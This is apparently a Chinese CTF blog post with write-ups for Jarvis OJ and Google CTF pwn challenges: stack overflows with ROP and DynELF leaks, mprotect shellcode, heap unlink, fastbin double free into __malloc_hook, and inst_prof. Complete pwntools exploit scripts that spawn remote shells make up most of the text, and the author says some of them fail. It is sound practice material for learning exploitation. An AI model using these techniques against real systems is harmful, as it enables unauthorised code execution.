开始漫漫刷题之路
level4 - DynELF 题目给的东西很少,基本信息如下:
信息 main:1 2 3 4 5 6 int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); write(1, "Hello, World!\n", 0xEu); return 0; }
vulnerable_function:1 2 3 4 5 6 ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] return read(0, &buf, 0x100u); }
保护:只开启了nx。1 2 3 4 5 6 '/root/pwnprac/level4' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
分析 read很明显会溢出,溢出到返回地址覆盖为system的地址即可,问题在于其地址的寻找,也就是该题的重点:DynELF。 最终思路就是因为可以不断的通过调用write函数来leak函数地址,使用dynelf可以通过泄露的地址确定libc版本来确定system地址。 /bin/sh则可以通过调用read来将其写入bss段,调用即可。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * #sh = process('./level4') sh = remote('pwn2.jarvisoj.com',9880) libc = ELF('./level4') bss_add = libc.bss() //直接得到bss段地址 def leak(add): //leak函数 pay1 = 'a'*0x88 + 'bbbb' + p32(libc.symbols['write']) + p32(libc.symbols['vulnerable_function']) + p32(1) + p32(add) + p32(4) sh.send(pay1) data = sh.recv(4) return data #神奇DynELF工具使用 d = DynELF(leak,elf = ELF('./level4')) //初始化DynELF模块 sys_add = d.lookup('system','libc') //在libc文件中搜索system函数的地址 print hex(sys_add) pay2 = 'a'*0x88 + 'bbbb' + p32(libc.symbols['read']) + p32(libc.symbols['vulnerable_function']) + p32(0) + p32(bss_add) + p32(8) //调用read sh.send(pay2) sh.send('/bin/sh\x00') pay3 = 'a'*0x88 + 'bbbb' + p32(sys_add) + 'dead' + p32(bss_add) sh.send(pay3) sh.interactive()
获得shell1 2 3 4 [*] Switching to interactive mode $ whoami ctf $
参考:借助DynELF实现无libc的漏洞利用小结
level3_x64 - 64位参数传递 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。
搞了一早上感觉思路完全没毛病,但是poc总是不能用,最终与网上的wp调试比对半天才发现在该文档下的libc-2.19.so文件不是该题的配套libc!!!!!应该是之前某个题的。。。心态爆炸 重新下载源文件,问题解决。。。
信息: 漏洞函数:明显的栈溢出1 2 3 4 5 6 7 ssize_t vulnerable_function() { char buf; // [rsp+0h] [rbp-80h] write(1, "Input:\n", 7uLL); return read(0, &buf, 0x200uLL); }
思路: 整体思路与之前相同:泄露write函数got地址,然后通过调用write函数泄露write真实地址,之后system,/bin/sh什么的手到擒来。所以主要就是练习x64下的参数传递。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * #context.log_level = 'debug' sh = remote('pwn2.jarvisoj.com',9883) #sh = process('level3') pwn = ELF('level3_x64') libc = ELF('libc-2.19.so') pop_rdi_ret = 0x004006b3 #pop rdi ; ret pop_rsi_r15_ret = 0x004006b1 #pop rsi ; pop r15 ; ret sys_libc_addr = libc.symbols['system'] binsh_libc_addr = libc.search('/bin/sh').next() #----------To get write.got--------------# pay1 = 'a'*0x80 + 'bbbbbbbb' pay1 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(pwn.got['write']) + p64(1) //虽然找不到pop_rdx_ret,但是经调试,rdx值大于8,所以我们可以只接受前八个字符即可。 pay1 += p64(pwn.symbols['write']) + p64(pwn.symbols['vulnerable_function']) sh.recvuntil("Input:\n") sh.send(pay1) write_addr = u64(sh.recv(8)) #---------call system func---------------# sys_addr = write_addr - libc.symbols['write'] + sys_libc_addr binsh_addr = write_addr - libc.symbols['write'] + binsh_libc_addr pay2 = 'a'*0x80 + 'bbbbbbbb' pay2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr) sh.send(pay2) sh.interactive()
获得shell:
level5 - mmap && mprotect 信息 同level3_x64 , 假设system 和 execve 被禁用,使用mmap 及mprotect 获取shell
思路 先搞清楚mmap 与 mprotect: mmap 就是分配堆内存的那个mmap,原函数为
1 2 #include<sys/mman.h> void* mmap(void* addr, size_t len, int port, int flag, int filedes, off_t off);
mprotect,给addr开始的len长度的内存修改权限,原函数为
1 int mprotect(void *addr, size_t len, int prot);
所以可以将shellcode写入bss段之类的调用mprotect函数将其可执行,然后返回地址到shellcode处即可; 当然也可以mmap分配一段空间然后一样的操作。
exp 稍微有点问题。。但是找不到,莫得办法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import * context.log_level = 'debug' #sh = remote('pwn2.jarvisoj.com',9884) sh = process('level3_x64') pwn = ELF('level3_x64') libc = ELF('libc-2.19.so') pop_rdi_ret = 0x004006b3 #pop rdi ; ret pop_rsi_r15_ret = 0x004006b1 #pop rsi ; pop r15 ; ret #----------To get write.got--------------# sh.recv() pay1 = 'a'*0x80 + 'bbbbbbbb' pay1 += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(pwn.got['write']) + p64(0) pay1 += p64(pwn.symbols['write']) + p64(pwn.symbols['vulnerable_function']) sh.send(pay1) #gdb.attach(sh) write_addr = u64(sh.recv(8)) #gdb.attach(sh) print "write_addr : " + hex(write_addr) #----------to get mprotect.got and write shellcode to bss_addr------# mprotect_got_addr = write_addr - libc.symbols['write'] + libc.symbols['mprotect'] print "mprotect_got_addr : "+ hex(mprotect_got_addr) bss_addr = pwn.bss() print "bss_addr : " + hex(bss_addr) pay2 = 'a'*0x80 + 'bbbbbbbb' pay2 += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) pay2 += p64(pwn.symbols['read']) + p64(pwn.symbols['vulnerable_function']) sh.send(pay2) shellcode = asm(shellcraft.sh()) sh.send(shellcode) sh.recv() #-------------------to write bss && mprotect to .got table----------------# bss_got_addr = 0x600a80 mprotect_got_addr = 0x600a78 pay3 = 'a'*0x80 + 'bbbbbbbb' pay3 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_got_addr) + p64(0) + p64(pwn.symbols['read']) pay3 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(mprotect_got_addr) + p64(0) + p64(pwn.symbols['read']) pay3 += p64(pwn.symbols['vulnerable_function']) sh.send(pay3) sh.send(p64(bss_got_addr)) sh.send(p64(mprotect_got_addr)) gdb.attach(sh) #--------------------------- init_start = 0x4006a6 init_end = 0x400690 pay4 = 'a'*0x80 + 'bbbbbbbb' pay4 += p64(init_start) + 'bbbbbbbb' pay4 += p64(0) #rbx pay4 += p64(1) #rbp pay4 += p64(mprotect_got_addr) pay4 += p64(7) #r13->rdx pay4 += p64(0x1000) #r14->rsi pay4 += p64(0x600000) #r15->rdi pay4 += p64(init_end) + 'bbbbbbbb' pay4 += p64(0) + p64(1) + p64(bss_got_addr) + p64(0) + p64(0) + p64(0) pay4 += p64(init_end) sh.send(pay4) sh.interactive()
level6 - 堆的unlink利用 正常的选项类型题
信息 main:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int __cdecl main() { unsigned int v0; // eax alarm_func(); main_ptr(); while ( 1 ) { v0 = menu(); LABEL_3: switch ( v0 ) { case 1u: list(); continue; case 2u: add(); continue; case 3u: edit(); continue; case 4u: delete(); v0 = menu(); if ( v0 > 5 ) goto LABEL_6; goto LABEL_3; case 5u: puts("Bye"); return 0; default: LABEL_6: puts("Invalid!"); break; } } }
问题函数: delete函数未检查inuse位,可以double free,且free完并未清空指针。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int delete() { int v0; // eax int v1; // edx int v3; // eax if ( *(_DWORD *)(dword_804A2EC + 4) <= 0 ) return puts("No notes yet."); printf("Note number: "); v0 = get_num(); if ( v0 < 0 ) return puts("Invalid number!"); v1 = dword_804A2EC; if ( v0 >= *(_DWORD *)dword_804A2EC ) return puts("Invalid number!"); --*(_DWORD *)(dword_804A2EC + 4); v3 = v1 + 12 * v0; *(_DWORD *)(v3 + 8) = 0; *(_DWORD *)(v3 + 12) = 0; free(*(void **)(v3 + 16)); return puts("Done."); }
同时add与edit会对输入的大小进行(或许)与0x80的对齐,即向上对齐到0x80,0x100,0x180,0x200这样子。不过只需要输入申请大小的内容即可。
保护:(基本上不用看。。)
1 2 3 4 5 6 [*] '/root/pwnprac/freenote_x86' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
思路(有点迷) 首先分配5个大小为0x80的内存块(0,1,2,3,4),之后按顺序free掉3号与1号(这样1号内存的fd指针会指向3号),这样0号内存块就可以使用1号内存块的pre_size 与size 位,但我们可以 edit 0号内存块大小为0x90,目的是为了在对齐机制的情况下,系统会分配0x100大小的内存块,但因为需要输入申请内存大小的内容,所以只要0x90,即 刚好覆盖1号内存块的pre_size与size位,此时可以打印出1号内存块的fd指针,从而泄露出堆的基地址与0号内存的地址。 之后unlink,因为delete漏洞的存在,1号块可以double free,将0号块卸下。这样子就可以对0号块为所欲为。(不太懂怎么为所欲为的)
exp(待参透) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from pwn import * #context.log_level = 'debug' context.terminal = ['terminator','-x','bash','-c'] local = 0 if local: cn = process("./freenote_x86") bin = ELF("freenote_x86") libc = ELF("/lib/i386-linux-gnu/libc.so.6") else: cn = remote('pwn2.jarvisoj.com',9885) bin = ELF("freenote_x86") libc = ELF("libc-2.19.so") def list_post(): pass def add_post(length,content): cn.sendline('2') cn.recvuntil('Length') cn.sendline(str(length)) cn.recvuntil('Enter') cn.sendline(content) def edit_post(idx,length,content): cn.sendline('3') cn.recvuntil('number') cn.sendline(str(idx)) cn.recvuntil('Length') cn.sendline(str(length)) cn.recvuntil('Enter') cn.sendline(content) def del_post(idx): cn.sendline('4') cn.recvuntil('number') cn.sendline(str(idx)) #chunk_list=0x0804A2EC #test=0x08048CC5 #-------init------- for i in range(5): add_post(0x80,str(i)*0x80) del_post(3) del_post(1) pay = '0'*0x80 + 'a'*0x8 edit_post(0,0x88,pay) #------------------ #--------leak---------- cn.sendline('1') cn.recvuntil('a'*0x8) leak_addr = u32(cn.recv(4)) cn.recv() heap_base = leak_addr - 0xdb0#offset chunk0_addr = heap_base + 0x18 success("leak_addr: "+hex(leak_addr)) success("heap_base: "+hex(heap_base)) success("chunk0_addr: "+hex(chunk0_addr)) #---------------------- #-------unlink-------- pay = p32(0x88) + p32(0x80) + p32(chunk0_addr-0xc) + p32(chunk0_addr-0x8) + '0'*(0x80-4*4) pay += p32(0x80) + p32(0x88+0x88) edit_post(0,len(pay),pay) del_post(1) #---------------------- #--------leak---------- pay = p32(2) + p32(1) + p32(0x88) + p32(chunk0_addr-0xc) pay += p32(1)+p32(0x4)+p32(bin.got['strtol']) pay += '\x00'*(0x88-len(pay)) edit_post(0,len(pay),pay) cn.sendline('1') cn.recvuntil('0. ') cn.recvuntil('1. ') strtol = cn.recvuntil('\x0a')[:-1] cn.recv() strtol = u32(strtol) system = strtol - libc.symbols['strtol']+libc.symbols['system'] success("strtol: "+hex(strtol)) success("system: "+hex(system)) #---------------------- #--------hijack&getshell-------- edit_post(1,4,p32(system)) cn.sendline("$0") #---------------------- cn.interactive()
获得shell
1 2 3 Your choice: $ whoami ctf $
itemboard 2019.2.28 一个重要的洞没有注意到,因此做的很麻烦,而且或许是因为one_gadget的条件不够,将其覆盖到malloc hook之后仍然无法getshell,不过也把这个做法记录下来
题目 功能 add list show remove
程序会在初始时malloc一块内存来存放之后的指针
add 会malloc(0x18),分别存放name,description,及单独的free函数的指针,之后再malloc(0x20),存放name,然后读取用户输入size,malloc(size)
list 会显示所有的item的name
show 显示用户想要显示的item的name 及description,没有检查inuse
remove()按序将特定的item的三个指针依次free,但是没有清空即UAF漏洞,同时可以因此double free,但因为add remove都是三个chunk在,所以会比较麻烦
分析 因为指针也在堆地区,同时用户可以自由选择des大小,所以想办法将之前的存放指针的地址给用户,就有了一定的泄露地址能力
也可以想办法将指针指向free后的smallbin,也可以泄露libc
double free 可以因此将chunk分配到heap以外,即可以将之伪造到malloc hook之上,覆盖为one_gadget
思路比较简单,但是执行起来复杂度高,且最后没有成功getshell
exp 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import * #context.log_level = 'debug' sh = process('./itemboard') #sh =remote('pwn2.jarvisoj.com','9887') elf = ELF('./itemboard') libc = ELF('./libc-2.19.so') def add(name,size,des): sh.sendlineafter(':\n','1') sh.sendlineafter('name?\n',name) sh.sendlineafter('len?\n',str(size)) sh.sendlineafter('Description?\n',des) def list(): sh.sendlineafter(':\n','2') def show(idx): sh.sendlineafter(':\n','3') sh.sendlineafter('item?\n',str(idx)) def remove(idx): sh.sendlineafter(':\n','4') sh.sendlineafter('item?\n',str(idx)) add('a',0x20,'b'*0x10) add('c',0x20,'d'*0x10) add('e',0x10,'f'*9) add('h',0x100,'i'*9) add('A',0X60,'A') add('B',0X60,'B') add('f',0x100,'g'*0x90) #----------leak heap base--------------------------- remove(1) remove(0) add('g',0,'') show(1) sh.recvuntil('Description:') leak_addr = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00')) heap_base = leak_addr-0x560 print 'heap_base: '+hex(heap_base) #---------leak libc addr---------------------------- remove(3) remove(0) add('g',9,p64(heap_base+0x690)) show(1) sh.recvuntil('Name:') leak_addr = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00')) main_arena = leak_addr - 88 libc_addr = main_arena - 0x3c4b20 one_gadget = libc_addr + 0xea36d #0x46428 #0xe9415 print 'main_arena: '+hex(main_arena) print 'libc_addr: '+hex(libc_addr) #gdb.attach(sh) #--------double free to getshell----------------- add('a',0x20,'a') add('v',0x20,'v') remove(4) remove(5) remove(4) #gdb.attach(sh) add('a'*8+p64(0x21),0x60,p64(main_arena-0x33)) add('\x00'*8,0x60,'\x00') add('zz',0x60,'kkk') gdb.attach(sh) add('AAA',0x60,'c'*0x13+p64(one_gadget)) #gdb.attach(sh) #add('a',0x100,'a') #remove(3) #remove(3) sh.interactive()
inst_prof 神一般的题,google ctf质量真的不一般。。。
题目 开始一个无限循环
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { if ( write(1, "initializing prof...", 0x14uLL) == 20 ) { sleep(5u); alarm(0x1Eu); if ( write(1, "ready\n", 6uLL) == 6 ) { while ( 1 ) do_test(); } } exit(0); }
重点do_test
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int do_test() { _DWORD *v0; // rbx char v1; // al unsigned __int64 v2; // r12 unsigned __int64 buf; // [rsp+8h] [rbp-18h] v0 = alloc_page(); *(_QWORD *)v0 = *(_QWORD *)&template; v0[2] = *((_DWORD *)&template + 2); v1 = *(&template + 14); *((_WORD *)v0 + 6) = *((_WORD *)&template + 6); *((_BYTE *)v0 + 14) = v1; read_inst((__int64)v0 + 5); // 4 byte make_page_executable(v0); v2 = __rdtsc(); ((void (__fastcall *)(_DWORD *))v0)(v0); // exec buf = __rdtsc() - v2; if ( write(1, &buf, 8uLL) != 8 ) exit(0); return free_page(v0); }
1 2 3 4 5 6 7 8 9 10 11 template: ; DATA XREF: do_test+15↑o .rodata:0000000000000C00 mov ecx, 1000h .rodata:0000000000000C05 .rodata:0000000000000C05 loc_C05: .rodata:0000000000000C05 nop .rodata:0000000000000C06 nop .rodata:0000000000000C07 nop .rodata:0000000000000C08 nop <-----输入的四个字节在这里 .rodata:0000000000000C09 sub ecx, 1 .rodata:0000000000000C0C jnz short loc_C05 .rodata:0000000000000C0E retn
简单来说就是执行输入的四个字节0x1000次。。。。中间需要防止程序直接exit
分析 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import * context.arch='amd64' dec_r14=asm('dec r14')+asm('ret') inc_r14=asm('inc r14')+asm('ret') mov_r14_rsp=asm('mov r14,rsp')+asm('ret') mov_r14_rr14=asm('mov r14,[r14]')+asm('ret') mov_rrsp_r14=asm('mov [rsp],r14') debug=0 if debug: p=process('./inst_prof') #gdb.attach(proc.pidof(p)[0]) offset=0xD691F-0x202B1 context.log_level='debug' else: #p = process('./inst_prof') p=remote('pwn2.jarvisoj.com', 9893) # offset=0xEA36D-0x21F45 offset=0x4647C-0x21F45 def exe(es): p.send(es) p.recvuntil('\x00\x00\x00') p.recvuntil('initializing prof...') p.recvuntil('ready') exe(mov_r14_rsp) for i in range(64): exe(inc_r14) exe(mov_r14_rr14) t1=int(int(offset/0x1000)/2) t2=offset-t1*0x1000*2 add_t1=asm('add r14,%d'%t1) print(t1) exe(add_t1) exe(add_t1) print('start inc!') print(t2) for i in range(t2): exe(inc_r14) p.send(mov_rrsp_r14) p.interactive()